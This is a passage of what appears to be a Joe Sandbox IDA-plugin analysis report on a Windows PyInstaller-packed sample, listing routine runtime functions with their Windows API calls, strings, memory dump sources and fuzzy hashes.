DName::DName.LIBVCRUNTIME ref: 00007FFEEE204C55
DName::DName.LIBVCRUNTIME ref: 00007FFEEE204C64
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE204C73
DName::DName.LIBVCRUNTIME ref: 00007FFEEE204C86

Part of subcall function 00007FFEEE202218: DName::doPchar.LIBVCRUNTIME ref: 00007FFEEE202285

DName::DName.LIBVCRUNTIME ref: 00007FFEEE204D02
DName::DName.LIBVCRUNTIME ref: 00007FFEEE204D10

Strings

`non-type-template-parameter, xrefs: 00007FFEEE204C1B

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: NameName::$Name::doName::operator+Pchar
String ID: `non-type-template-parameter
API String ID: 3026640183-4247534891
Opcode ID: 8de7eb83a26ee2879d9e7f3dce981534833e223cfe94a637316e027b59d68b0d
Instruction ID: ebf31aebbc40cd6e8c2552328f818bee5ca2b3b9fa74adad163a82f242ff751a
Opcode Fuzzy Hash: 8de7eb83a26ee2879d9e7f3dce981534833e223cfe94a637316e027b59d68b0d
Instruction Fuzzy Hash: FE417F22E0879695E750CF11F4806BC33A5BB99B84F578436DA8D17BE9DFB8E815C302

Function 00007FFEEE1D53C0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151libraryloaderCOMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1D5418
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1D5462
TlsGetValue.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FFEEE21318B
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0 ref: 00007FFEEE2131A1

Strings

LCMapStringEx, xrefs: 00007FFEEE213144
FlsGetValue, xrefs: 00007FFEEE213197

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ErrorLast$AddressProcValue
String ID: FlsGetValue$LCMapStringEx
API String ID: 3663398396-552164261
Opcode ID: 948fc83682bb285d1de66210e03cd83af409993909cd05a65e03d11a14740bb0
Instruction ID: 5a49192ff944b5286fa0d1ee82fb4b79e7360e7027875333092e2480e5abe831
Opcode Fuzzy Hash: 948fc83682bb285d1de66210e03cd83af409993909cd05a65e03d11a14740bb0
Instruction Fuzzy Hash: C9519D61B08B52C2EA559F15B8003796391AF88BA5F4B4236DDDD477B4EFBCE8858302

Function 00007FFEEE204FCC Relevance: 10.6, APIs: 7, Instructions: 134COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::doPchar.LIBVCRUNTIME ref: 00007FFEEE20506D
DName::DName.LIBVCRUNTIME ref: 00007FFEEE205078

Part of subcall function 00007FFEEE202218: DName::doPchar.LIBVCRUNTIME ref: 00007FFEEE202285

DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205088

Part of subcall function 00007FFEEE2023D0: DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE2023EB

DName::operator+.LIBVCRUNTIME ref: 00007FFEEE2050A5
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE2050DA

Part of subcall function 00007FFEEE202400: DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE20241B

DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE20510D

Part of subcall function 00007FFEEE2025F0: DName::append.LIBVCRUNTIME ref: 00007FFEEE202634

DName::doPchar.LIBVCRUNTIME ref: 00007FFEEE20516C

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: Name::doName::operator+Name::operator+=Pchar$NameName::Name::append
String ID:
API String ID: 3659116837-0
Opcode ID: ba15799b0e7ceb7b55bd43d09b27d58f4f49837068a18498ec1ca158e5473965
Instruction ID: 8db570d5e2f6f9f2407ae7a88cfe72c08c2e3cc9468cec29743d5e2e54855614
Opcode Fuzzy Hash: ba15799b0e7ceb7b55bd43d09b27d58f4f49837068a18498ec1ca158e5473965
Instruction Fuzzy Hash: C9614D32A08B5689F721CF64F8807BC37A6AB88748F474435DA8D077A9EFB9D545C342

Function 00007FF7102CCFE8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7102CD29A,?,?,?,00007FF7102CCF8C,?,?,?,00007FF7102CCB89), ref: 00007FF7102CD06D
GetLastError.KERNEL32(?,?,?,00007FF7102CD29A,?,?,?,00007FF7102CCF8C,?,?,?,00007FF7102CCB89), ref: 00007FF7102CD07B
LoadLibraryExW.KERNEL32(?,?,?,00007FF7102CD29A,?,?,?,00007FF7102CCF8C,?,?,?,00007FF7102CCB89), ref: 00007FF7102CD0A5
FreeLibrary.KERNEL32(?,?,?,00007FF7102CD29A,?,?,?,00007FF7102CCF8C,?,?,?,00007FF7102CCB89), ref: 00007FF7102CD113
GetProcAddress.KERNEL32(?,?,?,00007FF7102CD29A,?,?,?,00007FF7102CCF8C,?,?,?,00007FF7102CCB89), ref: 00007FF7102CD11F

Strings

api-ms-, xrefs: 00007FF7102CD08D

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
Instruction ID: bc55b2914dc31ce8cbee4c269d15667b4e04859bdba50843209f068e3f4486c4
Opcode Fuzzy Hash: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
Instruction Fuzzy Hash: 2831A421A2AE4291EE12BB16A940675AB94BF45BB4F9A0535DD1D0B380EF3CF44A8320

Function 00007FFEEE1D25F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1D2616
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1D265D

Part of subcall function 00007FFEEE1D26A0: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FFEEE1D2690), ref: 00007FFEEE1D26CC
Part of subcall function 00007FFEEE1D26A0: LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FFEEE1D2690), ref: 00007FFEEE1D26E8

TlsGetValue.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FFEEE212B3C
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0 ref: 00007FFEEE212B52

Strings

LCMapStringEx, xrefs: 00007FFEEE212AF7
FlsGetValue, xrefs: 00007FFEEE212B48

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: CriticalErrorLastSection$AddressEnterLeaveProcValue
String ID: FlsGetValue$LCMapStringEx
API String ID: 2861905401-552164261
Opcode ID: 9d82342594002ce3bbd8b4bd2bb79a11808f388563f9c3ff704688b0f4c3bab2
Instruction ID: 852a2e9bca044a7dd596326b771b15fe24a86d1a7ba238355503045d486c14de
Opcode Fuzzy Hash: 9d82342594002ce3bbd8b4bd2bb79a11808f388563f9c3ff704688b0f4c3bab2
Instruction Fuzzy Hash: CE315362B0974186FA149F28F8503756395AB8C3A0F474239DA9D437B8EFBCE945C742

Function 00007FFEEE1D6044 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77libraryloaderCOMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFEEE1D4A45), ref: 00007FFEEE1D6058
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFEEE1D4A45), ref: 00007FFEEE1D60A8
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFEEE1D4A45), ref: 00007FFEEE213356
TlsGetValue.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,?,00007FFEEE1D4A45), ref: 00007FFEEE2133B9

Strings

LCMapStringEx, xrefs: 00007FFEEE213339
FlsGetValue, xrefs: 00007FFEEE21334C

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ErrorLast$AddressProcValue
String ID: FlsGetValue$LCMapStringEx
API String ID: 3663398396-552164261
Opcode ID: 78ca7522fdfa8cbe323af7358c6e3b25300f47634eb04763555a5be60e670504
Instruction ID: ec9f076fa13e30eadbe9de460ae33fddec0c31fed65130fe8aee403f29102561
Opcode Fuzzy Hash: 78ca7522fdfa8cbe323af7358c6e3b25300f47634eb04763555a5be60e670504
Instruction Fuzzy Hash: 4731E221B1970282FA549F14F8106783391AF8CB90F075239DDDD477B8EEACE9448341

Function 00007FFEEE1DBFE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFEEE1D6342,?,?,?,00007FFEEE1D34B6,?,?,?,00007FFEEE2139B1), ref: 00007FFEEE1DC04A

Strings

ext-ms-, xrefs: 00007FFEEE2155B9
api-ms-, xrefs: 00007FFEEE2155A6

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: LibraryLoad
String ID: api-ms-$ext-ms-
API String ID: 1029625771-537541572
Opcode ID: 6db79fdddd998107a66d735d21890402ca099e4a773b4f9534cfcd9fd7362131
Instruction ID: 0c74173e75424db57d64b13ced9efa9fb40ac03d41da8c09f644f578111363df
Opcode Fuzzy Hash: 6db79fdddd998107a66d735d21890402ca099e4a773b4f9534cfcd9fd7362131
Instruction Fuzzy Hash: B0219321619B4681EE149F66B4443786295EF8DFE0F1B0636CEAE477E4DFBCE0418301

Function 00007FF7102C7B50 Relevance: 10.6, APIs: 7, Instructions: 63COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7102C7B70
OpenProcessToken.ADVAPI32 ref: 00007FF7102C7B83
GetTokenInformation.ADVAPI32 ref: 00007FF7102C7BA8
GetLastError.KERNEL32 ref: 00007FF7102C7BB2
GetTokenInformation.ADVAPI32 ref: 00007FF7102C7BF2
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7102C7C0E
CloseHandle.KERNEL32 ref: 00007FF7102C7C26

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: cb4766db9d01b9dd8e968687fe92956989c3d0e6154c1ea64db8f8bdde092e2e
Instruction ID: 62abb6dec056d0bf7922310e62cf80b4909010ec0fda0fd966d5bb330f58853b
Opcode Fuzzy Hash: cb4766db9d01b9dd8e968687fe92956989c3d0e6154c1ea64db8f8bdde092e2e
Instruction Fuzzy Hash: 31215121A0CE4342EB10AB55E94426AEBA1FF957B4F900635EA6D43BE4DF7CF5488720

Function 00007FF7102DA460 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7102DA46F
FlsGetValue.KERNEL32 ref: 00007FF7102DA484
FlsSetValue.KERNEL32 ref: 00007FF7102DA4A5
FlsSetValue.KERNEL32 ref: 00007FF7102DA4D2
FlsSetValue.KERNEL32 ref: 00007FF7102DA4E3
FlsSetValue.KERNEL32 ref: 00007FF7102DA4F4
SetLastError.KERNEL32 ref: 00007FF7102DA50F

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f1009f36f4b7e41e642a617816a0843c7a4fdcae41be86a1245b23186b7dd2e
Instruction ID: 108f13621333e7c22e64139f4c076ac5a51fce8e50df9ef2037d7fcbc7ce2b24
Opcode Fuzzy Hash: 4f1009f36f4b7e41e642a617816a0843c7a4fdcae41be86a1245b23186b7dd2e
Instruction Fuzzy Hash: 83214C22B0CE4242FAA57326565653EE9825F487B0FD44734E93E07BD6DE6CFC094721

Function 00007FF7102C29E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7102C342E,?,00007FF7102C3534), ref: 00007FF7102C2A14
FormatMessageW.KERNEL32(?,?,?,00007FF7102C342E), ref: 00007FF7102C2A7D
MessageBoxW.USER32 ref: 00007FF7102C2ACF

Strings

<FormatMessageW failed.>, xrefs: 00007FF7102C2A83
Error, xrefs: 00007FF7102C2ABE
%ls%ls: %ls, xrefs: 00007FF7102C2A96

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message$ErrorFormatLast
String ID: %ls%ls: %ls$<FormatMessageW failed.>$Error
API String ID: 3971115935-1149178304
Opcode ID: 7223b30dd23a30c2aa7faf0092ff60e4697deebee1b944f1837b883079aee3ab
Instruction ID: 699346d36107fea3c5fff7d510a2f4ef19bc0b37fb5138230b9c8bf460b0e385
Opcode Fuzzy Hash: 7223b30dd23a30c2aa7faf0092ff60e4697deebee1b944f1837b883079aee3ab
Instruction Fuzzy Hash: 9F211272618E8582E721AB10F4516DBB764FB887D4F800136EACD63B98DF7CE54ACB50

Function 00007FF7102E707C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7102E70AD
GetLastError.KERNEL32 ref: 00007FF7102E70B9
CloseHandle.KERNEL32 ref: 00007FF7102E70D1
CreateFileW.KERNEL32 ref: 00007FF7102E70FC
WriteConsoleW.KERNEL32 ref: 00007FF7102E711B

Strings

CONOUT$, xrefs: 00007FF7102E70DD

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
Instruction ID: 0acf70eceb6296892ff7bf39ca9b479fd96fc484d89a55ea6fac557619474cd3
Opcode Fuzzy Hash: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
Instruction Fuzzy Hash: 6D11B921B18F4286E7519B02E85432AEAA0FB48FF4F800234EA1D57794DF7CF408C760

Function 00007FF7102C81F0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,?,00007FF7102C39F2), ref: 00007FF7102C821D
K32EnumProcessModules.KERNEL32(?,00000000,?,00007FF7102C39F2), ref: 00007FF7102C827A

Part of subcall function 00007FF7102C86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7102C3FA4,00000000,00007FF7102C1925), ref: 00007FF7102C86E9

K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF7102C39F2), ref: 00007FF7102C8305
K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF7102C39F2), ref: 00007FF7102C8364
FreeLibrary.KERNEL32(?,00000000,?,00007FF7102C39F2), ref: 00007FF7102C8375
FreeLibrary.KERNEL32(?,00000000,?,00007FF7102C39F2), ref: 00007FF7102C838A

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: a6a3fb36dedf01dc407d01068d21ba79f730b9d247533213ec4f70efe0ab8627
Instruction ID: 31a49b861d1fb7d0be2e1656a41770f2dfc72d09d0950bcde8a7ba08e0bae8e0
Opcode Fuzzy Hash: a6a3fb36dedf01dc407d01068d21ba79f730b9d247533213ec4f70efe0ab8627
Instruction Fuzzy Hash: A341A362A29EC241EA30AB11A6002BABB94FF85BE4F845135DF5D57789DE7CF409C720

Function 00007FFEEE1E1C18 Relevance: 9.1, APIs: 6, Instructions: 83threadCOMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1E1C29
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1E1C7B
FreeLibraryAndExitThread.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0 ref: 00007FFEEE1E1CBE
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1E1CFF
ExitThread.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FFEEE1E1D07

Part of subcall function 00007FFEEE1D3A40: GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,00000000,00007FFEEE1D3484,?,?,?,00007FFEEE2139B1,?,?,?,?,00007FFEEE1D78EA,?,?,?), ref: 00007FFEEE1D3AB9
Part of subcall function 00007FFEEE1D3A40: TlsGetValue.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,00000000,00007FFEEE1D3484,?,?,?,00007FFEEE2139B1,?,?,?,?,00007FFEEE1D78EA,?,?,?), ref: 00007FFEEE20C59E

CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FFEEE21730D

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ErrorLast$ExitThread$AddressCloseFreeHandleLibraryProcValue
String ID:
API String ID: 1453037571-0
Opcode ID: 9385413610f64a6426c2931e4861a13ac1805e78321b1171aa409faccdf45293
Instruction ID: d6f16ce1a8332296b16b52b221e40e8e6bcff503323825174735e5e91aa67c71
Opcode Fuzzy Hash: 9385413610f64a6426c2931e4861a13ac1805e78321b1171aa409faccdf45293
Instruction Fuzzy Hash: 47316520F0C65342FA285B74B55537C22965F897B0F17073AE9FE426F6DFACA8858243

Function 00007FF7102C8400 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7102C7B50: GetCurrentProcess.KERNEL32 ref: 00007FF7102C7B70
Part of subcall function 00007FF7102C7B50: OpenProcessToken.ADVAPI32 ref: 00007FF7102C7B83
Part of subcall function 00007FF7102C7B50: GetTokenInformation.ADVAPI32 ref: 00007FF7102C7BA8
Part of subcall function 00007FF7102C7B50: GetLastError.KERNEL32 ref: 00007FF7102C7BB2
Part of subcall function 00007FF7102C7B50: GetTokenInformation.ADVAPI32 ref: 00007FF7102C7BF2
Part of subcall function 00007FF7102C7B50: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7102C7C0E
Part of subcall function 00007FF7102C7B50: CloseHandle.KERNEL32 ref: 00007FF7102C7C26

LocalFree.KERNEL32(?,00007FF7102C3814), ref: 00007FF7102C848C
LocalFree.KERNEL32(?,00007FF7102C3814), ref: 00007FF7102C8495

Strings

S-1-3-4, xrefs: 00007FF7102C8441
D:(A;;FA;;;%s), xrefs: 00007FF7102C8477
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF7102C8462
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF7102C84A3

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 795f95526d0a951be163d7ee57e77295e71c5006ab84a191c0455a0dace466c7
Instruction ID: c691b8a545713cfdc8bc3b1c3d3eb2e0949054d96e7363c580c61428885ced00
Opcode Fuzzy Hash: 795f95526d0a951be163d7ee57e77295e71c5006ab84a191c0455a0dace466c7
Instruction Fuzzy Hash: 25214121A18E4281F654BB10E5152EAAAA5FF847A0FC44035EA4D57796DF3CF84DC760

Function 00007FF7102DA5D8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7102D43FD,?,?,?,?,00007FF7102D979A,?,?,?,?,00007FF7102D649F), ref: 00007FF7102DA5E7
